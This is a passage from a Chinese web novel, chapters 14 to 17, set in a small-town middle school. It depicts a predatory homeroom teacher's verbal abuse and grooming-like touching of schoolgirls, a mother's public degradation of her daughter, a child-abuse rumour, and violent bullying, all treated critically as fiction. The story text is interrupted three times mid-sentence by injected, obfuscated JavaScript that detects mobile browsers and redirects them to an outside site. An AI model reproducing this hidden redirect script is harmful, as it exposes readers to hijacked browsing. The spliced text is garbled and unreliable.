直到天擦黑,陈月露心里才开始有一点点慌,她得赶快回学校。因为她是住宿生,没有假条不能随便出学校,如果晚上自己没及时回去,怕是会惹出一堆乱子。
还没等陈月露主动提,夏琳就细心地意识到这一点,她把给陈月露拿的小零食打了包,塞给她,又安排赵冬阳送她到校门口。临出门前,她问陈月露还有没有其他需要的。
陈月露摇了摇,其实她脑子里依然想着赵冬阳柜子里的那两本书,但她直到离开,也没敢提出借书看一看的要求。
赵冬阳拿了一只手电筒,夜色越来越黑。小镇上的路灯少得可怜,这个路灯与下个路灯之间,会矗立着一整片浓郁的黑色。赵冬阳打着手电筒,在前面开路,他的轮廓被身前的光镶上一层光边,陈月露整个人被罩在他的影子里面。小镇的边缘就是田地,夏虫在歇斯底里地鸣叫,陈月露的步子和心情在这条路上逐渐轻盈起来,她发现有时候与人之间即使不说话,也可以不觉得尴尬。
几个拐弯后,俩人就到了学校。正门已经锁上了,让保安来开门的话需要假条。这种情况,陈月露自然不敢惊动保安。
于是赵冬阳带陈月露来到了一个围墙边,这里长了一颗歪着脖子的树,刚好可以爬上去,翻到围墙上,如果赵冬阳没记错,围墙那边底下有个大垃圾桶,顺着墙踩着下去,最后就可以安全到地面。
陈月露从来没有翻墙的经验,但她看到过很多次“坏学生”翻墙逃学的经过。她心里突然有种莫名地兴奋,于是搓了搓手掌,没让赵冬阳帮助,一鼓作气地爬上歪脖子树。她翻上围墙后,赵冬阳把手电递给她,让她看看底下是不是有垃圾桶。
陈月露拿着手电筒往围墙底下照了照,她身体僵了一下,回答说:“有。”
赵冬阳指导她,两手扒着围墙,双腿慢慢滑下去,踩到垃圾桶上,再蹦到地面。直到听到她落地的声音,赵冬阳才放下心来,又多问了一句:“没事儿吧?”
陈月露回道:“没……没事儿,你赶紧回去。”
“行。”一包东西砸了进来,落在地上,那是夏琳给她的零食。
直到感受到赵冬阳咚咚的脚步跑远了,陈月露才颤抖地抬起头,她看向面前正阴沉注视着自己的班主任白世尧,连牙齿都无法控制地上下打架起来。
14. 丢人
“你还要不要脸。”白世尧对陈月露说。
陈月露被这六个字砸得发懵。
白世尧正因白天的那场群架而光火。他才管理这个班级一个月,就闹出了几件让他丢脸的事情。
他憎恶这堆不听话的小兔崽子。
他对陈月露有点儿印象,初次见面他就留意了这个小孩。她看上去乖得像个洋娃娃,皮肤软软糯糯,安安静静不声不响。
没想到她是个会逃学和男生厮混的坯子。
似乎自从自己接手了这个班,班里学生没有一个人把规矩当回事儿,也没有人把自己这个班主任当回事儿。
是不是不发威连蚂蚁都能踩自己两脚,白世尧想,一群给脸不要的兔崽子。
“这个时间点,和男生在校外厮混,”白世尧表情里透露出一股厌恶,他走到陈月露的面前,用手狠狠戳了两下女孩的额头。
陈月露没站稳,往后退了两步,垂着的头再不敢低着,她强迫自己抬起头,对上白世尧带着嫌恶的视线。
“你就那么贱吗?”
“轰”一声,陈月露觉得自己在一片片坍塌。她浑身紧绷,止不住颤抖,脸上已经涨红,眼泪吧嗒吧嗒地一个劲儿掉,但她的嘴被什么紧紧缝制似的,一句话也说不出来,委屈、羞辱和无法抗争的气馁,一层一层地像浆糊一样封住了她。
她变成了一只僵硬的鸵鸟。
而她的一切表现都看在了白世尧的眼里。
白世尧心里爽快了一些,他瞬间就察觉,这其实是个胆小软弱的女孩,是个自尊心很强,甚至只用辱骂就能被掌控的那种乖小孩。
这像抽了只好烟一样,给他提了一点精神。在这个混乱令人窒息的地方,他终于发现了让自己感兴趣的事情。
白世尧围着她看了两圈。
她颤抖得像只被捏在手里的小狗崽子。
白世尧抬起手慢慢放在她的肩膀上,那阵细微的颤抖在他手心里感受得更加清晰,温热得皮肉底下是纤细的骨骼,那副脆弱的神经正释放紧张害怕的信号,这让白世尧感觉到一股奇异的熨帖。
他紧紧盯着她的表情,手一直停留在她肩膀上。
远处传来保安锁门的声音。
白世尧拍了拍她说:“回去吧。”
听到这三个字,陈月露身体的抖动依然没有消除,她迈着发软的两腿刚走出几步,白世尧声音像根风筝线从身后把她拽住,他淡淡说:“明天写800字检讨,再把‘我会听话’抄1000遍。”
陈月露僵硬地点点头。
走出几十米后,她才擦干了脸上的眼泪。
她刚踏进宿舍,董敏一把拉过她,上上下下把她看个遍。
董敏的目光让陈月露想起白世尧刚才对她的打量,陈月露一把推开董敏,“你不要看我。”
董敏一下子不高兴起来,“你有没有良心啊,你知道你突然消失的这几个小时,我给你打掩护打得多辛苦!你一声不吭就跑了,我还以为你出什么事儿。要不是有同学说看见你出学校了,我多余管你!”
董敏叽叽喳喳的声音把陈月露从莫名羞耻的情绪中拽出来一点,陈月露强打着精神,把手里的零食都塞进董敏的手里,她扯出来一个笑,跟她说:“我没事儿。”
董敏的注意力被零食吸引走了,她愉快地解开袋子,剥开一个大大泡泡糖,“算你有良心,你出去都干嘛了?就,买零食去了?早知道叫上我嘛……”
“没看到你,下回叫你。”陈月露一边答复着她的话,一边扭头整理床铺,她又微微走了神,白世尧说的那几个字又突然撞进她的脑子里,那无法甩脱的耻辱感像股难堪的体味,有时不明显,有时就会清晰地冲她袭击过来。
“哎,今天打群架,白老师可气惨了!”董敏戳了她几下,毫不客气地把陈月露的注意力又拉回来,“听说俩班班主任被校长叫去狠狠骂了一顿,校长让把这事儿严肃处理!”
“白老师”三个字让陈月露心里打了个哆嗦,她慢慢吸了一口气,一点一点压住自己心里的情绪。
她假装无事说:“不就是叫家长、写检讨、全校批评、记个大过。这些人又不怕。”
董敏伸出一只手指摇摇,“不止不止,还要开除。”
陈月露停下手里的事儿,露出疑惑:“真的假的?”
老余管班儿的时候,从来没有开除过学生,或者说倒数好几年,学校也没有轻易开除过学生。有些学生是难管又荒唐,但很多班主任是咬着牙把这些问题学生兜到了毕业。
董敏啪地吹破了一个巨大的泡泡,一边嚼一边说道:“是学委交作业的时候听见的,白老师主张的,一定要开除带头闹事的,汤绍和黄得洪他俩是根本逃不过,劣迹数出了好几条,校规也搬出来了。”
“上次汤绍打张雪薇,我就不喜欢他。这俩人品格都有问题,听说在班外净欺负人,开了也就开了,一点倒也不可惜。”董敏打开一包咪咪虾条又说。
陈月露脑子里却浮现出白世尧被汤绍和黄得洪绊的那个跟头。
白世尧这人,心肠硬而且记仇。
陈月露咽了一口吐沫,她又惦记起自己的检讨,看了一眼时间后,她端起自己的水桶脸盆,装上沐浴乳和洗发水,制止了董敏停不下来的话题,“你快回你宿舍吧,我去赶紧洗个澡,有啥咱们明天说。”
董敏走后,陈月露在冷水下冲了10分钟才回到宿舍,熄灯铃声一响,陈月露抓起作文纸和手电筒趴进被窝里,她打开手电,光圈照在方格纸上,她写上检讨两个字后,就不知道该怎么往下写了。
她没有出去厮混,她也不是不要脸的小孩。
她又翻了一篇儿,不情愿地写下“我会听话”四个字,她盯着这四个字,越看越陌生。被子里的空气越来越稀薄,她的思绪越来越飘忽,这四个字仿佛变成一捆黑色的线,正乱糟糟地箍住她。
她沉默一阵儿后,强迫自己继续写,一遍一遍写,写到第三行,眼泪一下子掉了下来。
白世尧的办公室在四楼走廊最边上,挨着一间从来没开放过的图书室。初二年级老师一般集中在三楼一间大办公室,但因为没有了多余位置,白世尧就被安排到四楼,和音体美老师同一个办公室。
同口中学音乐老师已经缺位很久,美术老师一学期上不了三节课,体育老师基本在操场的器材室里,这个办公室大部分时间属于白世尧一个人的。
群架事件过去了两天,陈月露抄好了那一千遍的“我会听话”,但她的检讨依然是空白的。白世尧没有找她索要,陈月露觉得自己仿佛被忘记了,她非常希望是这样。
课间铃一响,董敏抓起陈月露的水杯,“走,去打水。”
陈月露像个布娃娃被她拖拽着出了教室。董敏拉着她一路上了四楼。
四楼的尽头站满了人,群架的几个主谋——方昭、汤绍、黄得洪低着头背着手站成一排,还有几个大人围着白世尧。
“昨天处分就出了,听说仨人都要被退学,看,今天家长带着来求情了。”董敏端着自己的水杯,靠在走廊栏杆上,她冲着那边的热闹一扬下巴,头偏向
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885201|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陈月露,小声尽职地当着解说。
陈月露也看过去。
黄得洪的妈妈李贵霞抓着黄得洪,她似乎刚刚大哭完,手里抓着处分的通知单,整个人坐在地上,嘴里嚷嚷着“这可怎么办啊”,黄得洪一脸嫌弃地拉扯李贵霞。李贵霞又快要哭出声,黄得洪嫌丢人一样,直接拖拽着李贵霞往楼道里走。
汤绍的爸爸是个富态的生意人,胳膊底下夹着一个手提包,他态度很和气,嘴里在说着什么,他给白世尧塞了一根烟和一张名片,白世尧推辞了几下,最后接了那根烟。
方昭是初三生,不归白世尧管,他站在那里大概是为了和汤绍调解恩怨。
陈月露看了一会儿后,对这些没有太多兴趣。她刚要叫董敏回教室,突然从楼下冲上来一个女人,那女人大概35岁左右,烫着一头的卷发,身体有点短粗,脸色焦黄,女人一脸怒意地走到走廊尽头,她无视面前的那些陌生人,直接冲入了白世尧的办公室里。
办公室里响起了一阵细微的争执,过一会儿,女人把和她争执了两句的张雪薇揪了出来。
她一把把张雪薇甩到走廊,骂声洪亮地响彻整个楼道:“你个贱皮子狐狸精,我他妈辛辛苦苦供你,就是让你在学校里勾搭男生?!你从小就会勾引人,天生的赔钱货,这么贱,你干脆退学去卖好了!”
张雪薇妈妈的喊叫声成功地把周围人的视线吸引过去。她话中形容女儿的难堪词汇,引得几个男人都在往张雪薇身上打量。
张雪薇穿着一件白色的T恤和一条牛仔裤,在其他人还灰扑扑发育得奇奇怪怪的时候,她已经拥有了一股脆生生的青春感。
但此时她白皙的脸上有了一个清晰地掌印,耳朵被揪得通红,一只手护着脸颊,另外一只胳膊紧紧遮着自己的胸,表情局促,像朵被掐折了的蔷薇花。
骂声越来越大,张雪薇眼里含泪带恨,声音颤抖地冲女人喊:“你凭什么这么说我!你凭什么这么说!”
“天老爷,你还敢还嘴?”女人撸起袖子又要动手,被白世尧拦住。但女人的嘴却拦不住:“你爸被你克死,你爷被你一句话弄得名誉扫地,为了养你,我也没法儿嫁人。就是让你天天光光鲜鲜在学校里挑唆事儿的?你不是狐狸精小祸害谁是?”她的声音像一摊泥巴,朝张雪薇身上呼过来,散开无数发臭的泥点子。
“我靠,”连董敏都听不下去,她咽了一口吐沫,“什么人啊,这是?!”
陈月露因面前的这番凌辱产生了一股感同身受的愤怒感。除此之外,仿佛围观的人越来越多,方昭和汤绍一句话也没说,他们偶尔才瞥张雪薇一眼,眼神里说不清道不明。
汤绍的父亲不住地看时间,厌烦地看了女人和张雪薇几眼,和白世尧打了个招呼,推搡着汤绍离开了。
陈月露心里的不舒服越来越强烈,她模模糊糊意识到,这种围观对张雪薇会不会也是一种伤害,她们什么也做不了,只能提供一些充满压人的视线。
于是她拽了拽董敏,“我们别看了。”
董敏没反驳,端着空空的水杯和陈月露下了楼。
但即使回到教室,楼上的污言碎语也不时飘进教室。上课铃声响了,这节是语文课,白世尧没来,屋里出奇安静,便越发凸显那若有若无的骂声。
这件事让陈月露难受,她想了一下,悄悄找到学委说:“班主任一会儿下来要抽查课文背诵。”
学委点点头,带着全班同学叽里呱啦背起课文。
背诵声像浪潮一样,一层一层叠起来,却也没有冲散楼上的骂声。
15. 流言
张雪薇的母亲叫叶琴,在从村里开到镇上的公交车上卖票。
自从叶琴知道有人因为张雪薇在学校里打群架,她变得疑神疑鬼。
公交车交完班后,她就会出现在学校里,甚至有时就搬个凳子坐在班级后门口,用一双固执的眼睛死死盯着张雪薇。
“你不知道,她就是个说谎精。”叶琴身上会斜跨一个棕黑色的包,是卖票收钱用的,卖完票后会揣进去一个保温杯。她抱着那个双夹层的玻璃杯,跟每个想劝她离开的人争辩。
“那事儿不怪她呀。”有些女同学会小声替张雪薇分辩两句。
这会更戳中她倾诉的欲望,“怎么不怪她,要不是她不检点,勾勾搭搭,能闹出这事儿?”
“她爹跟人打架被打死了,我一个寡妇带着她,我容易吗?她有点什么事儿,人们只会赖我没带好没管好。”
“你们都不知道,她打小就是个说谎精。她那嘴里不管说过什么,是没有一点可信的。我只有亲眼盯着,使劲骂几回,羞辱几次后,才能让她长点教训。”
她的声音粗,嗓门大,话一番一番地像个喇叭一样轮播。很多学生受不了被一个村妇这么盯着,只要一下课纷纷都跑没了,只有张雪薇会趴在桌面上哭,好几天,她的眼泪一番一番地掉,像要把身体里所有水分都流干净。
叶琴就对着这个只有张雪薇一个人的空旷教室说,她厚厚的嘴皮子翻飞,嘴角漾出吐沫星子,话像刀子一样,一句比一句扎人:“我生你有什么用?”“天天拾掇得跟个那么招眼儿,给谁看呢?”“养你这么大,养出一个白眼狼。”“你丢你自己人就好了,怎么老牵带上我?!给你当妈是倒了血霉。”
……
她抖搂一下身上的挎包,有好事的学生会在外面围着,衬得她更像一个卖票的,卖的是女儿的屈辱和痛苦。
叶琴连续来了三四天后,马玲玲厌烦地把后门关上,她还找了一把黑锁,直接锁上了后门。
白世尧这个班主任也终于姗姗出场。白世尧一出现,叶琴骂人的声调就掉了很多。
她一下子还站了起来,脸上还带上一丝罕见的歉疚,“嗨,我们家这个净会给人找麻烦。”
白世尧却伸手拍了拍她的手臂说:“你也不容易。”
这一句,叶琴的委屈就都勾出来了。她开始从张雪薇小时候惹出来的麻烦讲起,讲小女孩天生是个讨债的,最后讲她一个女人家在村里孤儿寡母多么难。
白世尧很耐心。他脸上的微笑像被粘贴在脸上似的,他还一边听,一边微微点头。
但陈月露知道,他的表现都是假的,白世尧对这一切都是厌烦的。他厌烦处理复杂的关系,厌烦无法掌控的现状,他有很高很高的自尊心,他厌烦别人触碰和冒犯它。
微笑和亲善只是他的面具,他用这副面具欺骗着所有人。
陈月露也不清楚为什么自己会知道这些,也许是绵羊先天就能感知到大灰狼的伪装。
总之在上课铃响后,白世尧又费了几句话把叶琴劝到了办公室里。后面那节课是语文课,白世尧没有来,他选择留在办公室里继续听叶琴的倾诉。
而到下午不知道什么时候,叶琴终于说够了离开了,之后也没在班级后门出现。白世尧以老师的身份,得到了张雪薇母亲全方面的信任。
但要命的是,叶琴在这场闹剧后留下来一个流言,有几个好事儿的学生,从叶琴在办公室向白世尧一轮一轮的哭诉里拼凑出来的一件张雪薇小时候的一件事儿。
张雪薇小时候曾经在人前说,自己是能催眠的洋娃娃,爷爷晚上经常睡不着,抱着自己才能睡着。
这话背后含义,只要稍一有心的大人就会拉响内心警惕。村里人吃完瓜后,没有人替张雪薇报警,没有人甄辨真假,而在茶余饭后,给这事儿一遍一遍浓墨重彩地描画。她爷爷是一个退休的国营毛纺厂的工人,因为这句话,恼怒地跟叶琴与张雪薇断了关系,也停掉了这对孤儿寡母的资助。
尽管叶琴不断解释小孩是“胡说八道”的,也挡不住同村很多年纪大的男的,都频繁去张雪薇家串门。
叶琴从那时候开始,频繁骂她叫“祸精”。
14、13岁的小孩的心智参差不齐,但都抱有着强烈的好奇心。张雪薇小时候那句话一下子引爆了学生们的讨论,“原来是这个意思呀?”“也就是说张雪薇已经……”“我的妈呀!”“怪不得她妈那个样子……”“她说的到底是真的假的?”
传播中,每个人都最终都相信了这件事是真的,叶琴先前的表现让这事儿变得尤其逼真。
成年以后的陈月露每次回顾罪恶的起点,才会体会到当时不断传播的“那件小事儿”对主人公的残忍,也是第一次对小孩子因无知而诞生的不自觉的残忍有了一个具象的概念。
而她也总在想,如果没有“那件小事儿”的传播,是不是那场扑朔迷离的罪恶也不会发生?
“能催眠的洋娃娃~”几个男学生开始这样阴阳怪气地叫张雪薇。
而女生们,因觉得这个话题“恶心”而集体孤立了她。
陈月露并不是个爱凑热闹的人,董敏却忙碌在各舆论频道之间。
董敏好奇的并不是张雪薇是不是“祸精”,她就是模模糊糊朦朦胧胧地发现了一个她以前一直空白的领域,她在好奇,“跟人睡觉是怎么回事”,由此又衍生出来一系列问题,比如“亲嘴会不会怀孕”、“生孩子到底是怎么生的”“女孩为什么要流血”……
因为没有专业的科普,各种五花八门的说法都有。董敏同学甄辨真假甄辨到头疼。
一个尖酸刻薄的女同学直接站在张雪薇旁边,指着张雪薇对董敏大喊:“跟人睡觉是怎么回事儿,你问她呀,人家可比我们懂呀~说不定私底下很多回呢~~”说完,哈哈地笑起来。
张雪薇的脸色肉眼可见地变青。
那女生笑够
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885202|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,转身又拍了张雪薇一下,刻薄地问:“你和你爷爷真……?”
“我艹你妈!”
趴在桌子上的张雪薇猛地站了起来,她朝着那个叫刘肖肖的女生狠狠丢掷出一本字典。
那本字典直直撞上刘肖肖的肩膀,发出“咚”地一声。刘肖肖没想到低眉顺眼的张雪薇会发火,一下子愣在原处。
张雪薇像是一场撕开了口的洪水,她一脚又踹到那刘肖肖身上,“我叫你胡说八道,我叫你们胡说八道。”
刘肖肖终于反应过来。她尖叫着抓住张雪薇的长头发,“我靠,你他妈一个不要脸的狐狸精,人人嫌的贱玩意,你敢打我!!我弄死……嗷!!!!”
刘肖肖突然撒开张雪薇的头发,捂着自己的胳膊尖叫了一声。
张雪薇手心里攥着一支尖尖的圆规。
趁着刘肖肖发愣,张雪薇一只手迅速拉住她的马尾,捏着圆规要朝她的脸上扎过去。刘肖肖吓得直接变了色,在离她脸三公分左右,张雪薇的手停顿了一下。
“你敢!你妈不打死你!”刘肖肖不知死活地这么喊了一句。
听到这话,张雪薇脸上最后一点犹豫消失了,她直接戳了下去。
等两人被拉开的时候,刘肖肖的脸上的血已经流了出来,血并不多,圆规的尖刺入肉也并不深,但给人造成的精神震慑却足够大。周围人没有一个人再敢对上张雪薇的视线。刘肖肖嚎叫着跑出去告状,没敢对张雪薇再说一句话。
白世尧黑着脸来处理这件事。
刘肖肖到了办公室就开始吵吵要叫家长,她躲在白世尧身后冲张雪薇张牙舞爪地喊:“让你那个大嗓门的妈来收拾你!”
张雪薇背在身后的手上依然攥着那把圆规,她攥得用力,朝那个女生露出一个尖尖的尖儿。
刘肖肖闭嘴没有说话了。
白世尧敲了敲摊在桌子上的成绩单,对身旁的刘肖肖说:“你月考成绩成这样,你还要主张叫家长?”
一提成绩,刘肖肖更不做声了。
白世尧语气又软和下来,“张雪薇先动手不对,我会惩罚她。但咱们班级最近事情最好不要闹到给人看笑话,同学之间嘛,要和睦。”
“你脸上的伤,我给你批假,你出去好好看看,等回来,花了多少钱,我给你报销。”
两下下来,刘肖肖终于像个被按压住的锅盖,不再沸腾了,拿着假条老老实实出了办公室。
办公室里只剩下张雪薇和白世尧。
张雪薇的头发因为打架松散着,几缕发丝黏在脸颊边上,白世尧伸出手,把她脸边上的发丝拨开。
张雪薇微微一侧脸。
白世尧没在意,接着说:“你妈,挺不是东西的。”
张雪薇怔怔看向白世尧。
“我不会跟你妈说任何事情,你只要好好听话,以后我都罩着你。”白世尧喝了口茶水,水雾氤氲中,他冲张雪薇和善地微笑。
16. 欺负
秋季运动会开始了,三天不用上课,空气里洋溢着快乐的气氛。有的同学负责在赛场上摇旗呐喊,有的负责写赞美运动员的广播词,有的负责搬搬扛扛桌子板凳。董敏作为劳动委员,负责了班里的运动员的物资采购。
热闹气氛被粉饰得仿佛一切无事发生。
赵冬阳成了赛场的焦点,陈月露已经捋不清他报了几个项目,但容易就能从操场上找到他的影子。
他像一只耀眼的小豹子,驰骋在赛道上,驰骋在秋风里。
赵冬阳在破了田径400米的校纪录后,体育老师抱着他满场转圈。他的皮肤被秋阳照出健康的麦色,一笑露出白灿灿的牙齿,汗珠在额角闪闪发光,他举起胳膊对着满场的观众挥舞。
是一个无忧无虑意气风发的少年。
陈月露每回看到这场景,都会在心里微微笑起来。
这时,董敏抱着一个大背包挤过来问她要不要一起去采购东西,陈月露点点头。两人拿着董敏的假条走到了学校外。
穿过两条街后,在一个游戏厅的门口,董敏戳了戳陈月露,陈月露往她使眼色的方向看,一小群穿着一中的校服的学生正围在一起,再细看,里面有已经被退学的黄得洪,有汤绍,还有其他班的章斌、刘小威。
而被他们几个围在中间的是一个与陈月露同班的女生。
汤绍摆弄着一个看上去很贵的打火机,他掏出烟,点着抽了一口。日头有点躁,黄得洪捞起衣服下摆给自己呼扇着风,肥胖的身体闪了一下,露出他身后冷着脸的张雪薇。
张雪薇抱着臂站在汤绍一旁,目光垂向中间的那个女孩身上。她伸手抽过汤绍嘴里的那根烟,先自己抽了几口,又捏着那个燃烧的烟头,轻轻按在了那个女孩胳膊上。
女孩颤抖着要叫出声,章斌立刻紧紧捂住了女孩的嘴巴。
“中间这个的女生前几天也刻薄过张雪薇!”董敏先发现了这点。她喊出声后又赶紧捂住嘴,抓起陈月露,要拉着她躲开这群人。
陈月露不肯走。软萌萌的小姑娘朝地上左看一眼右看一眼,最后在路边拾起半块转头。
“我们可以去叫老师。”董敏两只手拽着陈月露的胳膊,又不断看着她的神色,害怕她真拿着这个转头冲上去。
直到中间被欺负的那个女生留着眼泪说完对不起,张雪薇才在这个包围圈里挪开了一个缺口,对着箍住女孩的章斌示意了一下,女孩像一只被网住又被放生的鱼,从缺口里跌跌撞撞地跑了出去。
连带着董敏也轻轻地松了一口气。
陈月露没有说话,撒开手里的砖头。她自己心里也慌,咚咚的猛烈的心跳一直无法止息。
她被董敏拉拽着逃跑一样快步走入另一条街,转过街角,她们看见了马玲玲。
马玲玲正蹲在墙根。
董敏经历了刚才的事情,发现其他任何一个同学都和蔼可亲。她拉着陈月露朝马玲玲走过去,挥着胳膊主动打招呼,“你也在这儿呢?”
马玲玲抬起眼睛看了两人一眼,又低头看向自己怀里。她怀里是一只正在鼓涌的小黑狗。小黑狗眼睛亮晶晶的,嘴里哼哼唧唧,戒备地看着陈月露和董敏。
“哎呦,一只小狗。”董敏的注意力瞬间被吸引到这只小狗身上,她伸出手慢慢地试探着的碰了一下小狗的脑袋,小狗冲着她“汪”地叫了一声,没有什么力气,叫声弱弱的。
“你捡的啊?”董敏面向马玲玲。
马玲玲点点头,难得打开话匣子,“估计找不着它妈了,自己一个狗在墙根下乱爬,我等了半天,也没看见它妈来找它。”
“可怜见儿的,看上去才一两个月大。”
陈月露也蹲下来,她伸出手指碰了一下它的小肚子,“它是不是饿了?肚子瘪瘪的。”
董敏碰了碰马玲玲,提起了兴致说:“正好我俩去买东西,你带它跟我们一块呗,正好给它买根火腿肠啥的。”
马玲玲搂着小狗站起来,“行。”
三人一块儿往杂货铺走,因为有小狗,三个人的关系快速拉近,气氛也活跃了起来,“要不给它起个名儿呢?”
“它有名,我想好了,”马玲玲摸着它的小脑袋说:“就叫煤球。”
“那给我抱一会儿煤球。”董敏张开两只手,期待地伸向马玲玲。马玲玲犹豫了片刻,把小狗抱给了董敏。
“你小心点儿,别弄疼了煤球。”
“哎呀,我小心着呢。”董敏像抱一个小婴儿,手脚僵硬,忐忐忑忑地抱了几分钟后,又转向陈月露,“给你也抱抱。”
小狗抱在怀里是一种奇异的感觉,它浑身温温热热,皮毛底下是细微的轻轻的颤动,它的肚皮在随着呼吸轻轻的起伏,鼻头湿漉漉的,像一个小小的奇迹倚靠在人心口。
“上帝是怎么制造小生命的呀,真神奇。”董敏围着小狗发出惊叹。
“狗妈妈怎么舍得把它扔下的呀?它以后怎么活啊?”
“就是,要是碰上有虐狗的就惨了。”
“怎么会有人虐狗?!谁会伤害这么小的小生命,没人性呀。”
“谁知道呢?这世界上什么人都有。”
“可能是享受可以随意支配别人的快感吧。”陈月露说完这话后,三个人之间忽然静了一会儿。
“真难以想象。”其他两人齐齐感叹。
说话间,几个人来到了张记杂货铺。那只小狗被装在董敏的大背包里,三个人分头行动,一个人买运动会要用的记号笔,胶水,透明胶布,矿泉水,一个人去买同学托付要采购的零食,马玲玲则去给小狗买吃的。
赵冬阳在运动场上比赛,张继国带着张婷婷去看望奶奶,店里只剩下夏琳一个人。
夏琳今天穿了一件红色的裙子,头上带着同色的发箍,烫卷过的头发披散开,明艳得像画报上的人一样。她还搬了一个画架子在收银柜旁,端着颜料,正在涂一副油画。
陈月露腼腆地走过去打招呼,“阿姨。”
夏琳看着她,眼睛立马笑起来,“哎呀,你来了呀,今天不上学呀。”
“学校运动会,老师让出来买点东西。”陈月露把手里的记号笔矿泉水什么的推到柜台上,好奇地看着夏琳手边的画,“阿姨,你会画画呀?这画的什么?”
“画着玩儿。不是前天出去拍照采风吗?发现咱们这边居然有人种向日葵,”夏琳放下画笔,一边给陈月露结算一边说,“种了好多呢,一望无际的,已经开了花,金灿灿的海一样。”
“我也喜欢向日葵,摘下来摆家里肯定好看。”
“我也这么想来着。但那是别人当农作物种的,要拿来打葵花籽,不让摘。”夏琳说着从柜子里翻出一沓照片,摆在桌面上,冲着陈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885203|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月露一眨眼,“我用相机给拍下来了。”
陈月露翻看着那些照片,一大片一大片的向日葵,金晃晃地,热热烈烈地,肆无忌惮地绽放,那浓郁的生命力像要从照片里流出来了。
“拍得可真好。”
陈月露忽然闻到一股难闻汗酸味儿,她扭过头,没留意自己身后已经站了一个男生,男生把一瓶水和一包薯片推到夏琳面前,低着头说:“结账。”
才刚刚入秋,这个男生已经穿上了卫衣,卫衣过于肥大,把他整只手都笼在袖子里。那衣服又破又脏,胸口上沾着两大片油渍,袖口也已经脏得看不出原来的颜色。他头发很长,半遮住眼,身材中等,面目很普通,细一看,还有头屑落在肩头。
陈月露心里一咯噔,因为她刚才见过这个男孩子。他是和章斌、汤绍、黄得洪一起欺负女孩的男生之一,叫刘小威。
夏琳轻轻看了他两眼,从柜台后站过来,她隔开陈月露,问刘小威说:“你也是对面学校的学生?你班主任叫什么?”
刘小威声音闷闷地,没好气对夏琳说;“关你什么事儿?”
夏琳先扭头把陈月露的东西装好拿给她,拍了拍她的胳膊说:“有时间再来店里玩,阿姨这会儿有点忙。”
陈月露听话地拎起东西往门口走,但她没有走远,而是站在门旁边等马玲玲和董敏。她一边等,一边悄悄往屋里柜台的方向看。
夏琳直接伸手拽住刘小威的胳膊,语气变得冰凉严肃:“那把你左手袖子里没付钱的那些商品拿出来一下。”
刘小威的脸色刷一下变了,他往后扽了一下袖子,没有扽动,夏琳另一只手拿起柜台电话说:“不听话我可报警了。”
刘小威听到报警两个字,没再嘴硬,蔫巴巴地把左手里的东西拿出来,几副扑克牌,打火机,还有比较贵的巧克力。
“没了?”
刘小威又慢腾腾地从裤子口袋里掏出几包烟和一些零食。
夏琳皱着眉头看着那些东西,她抬头看刘小威,他的头已经快垂到胸口,头发一坨一坨的打着结,瘦瘦的一个人晃荡在那件不合身也不合季节的衣服里。
夏琳叹口气,说了句“看着跟我儿子一样大。”松开了他的胳膊。
她又慢慢问了他一些信息,家在哪里,哪个班级,班主任是谁,全问清楚后,最后算了算钱的价格,让刘小威给她写了一个欠条,并按下了手印,叫他之后过来偿还,并把除了烟以外偷拿的其他东西都给了他。
刘小威抱着那些东西出了杂货店的门,他用卫衣帽子把自己的脸遮住,快步走了一两百米,最后拐了个弯儿,走进一条巷子里。
“怎么这么慢,废物一个。”黄得洪不高兴地说。
章斌搂住刘小威,替他辩解道:“他第一次干这个,不熟悉很正常。”
“怎么说,还是你狠,那不是你舅舅家开的店吗?你这么唆使别人偷,六亲不认啊这是。”黄得洪拆掉扑克牌的包装,在手里熟练地洗着牌说。
“本来是挺好的舅舅,非娶那么一个女人,我妈不喜欢那女人,妖精样儿,管得还宽,她才几天啊就管店,”章斌叼了根辣条在嘴里,含糊地说:“算给她点教训。”
汤绍扒拉了半天刘小威带回来的东西。没有看到烟。他忽然觉得一股烦躁涌到头顶,他一言没发,一脚把刘小威踹倒在地。
17. 比嘘
张雪薇性格变化很大。人人都感觉得到。她变得日益跋扈,刻薄暴力,无视规矩,只要听到班里有人说她坏话,她就拿圆规戳对方。她也不再跟任何女孩玩,下了课就只和汤绍、章斌他们混在一起。
因为频繁和同学产生冲突,她被白世尧叫到办公室的次数越来越多。
“你们不觉得白老师有点偏袒她吗?”一个女孩压低声音跟董敏说,“每次处理她都是雷声大雨点小,刘肖肖家长都打电话过来问怎么回事儿,白老师都说是两个小孩之间的打闹。谁打闹只有一方受伤啊?”
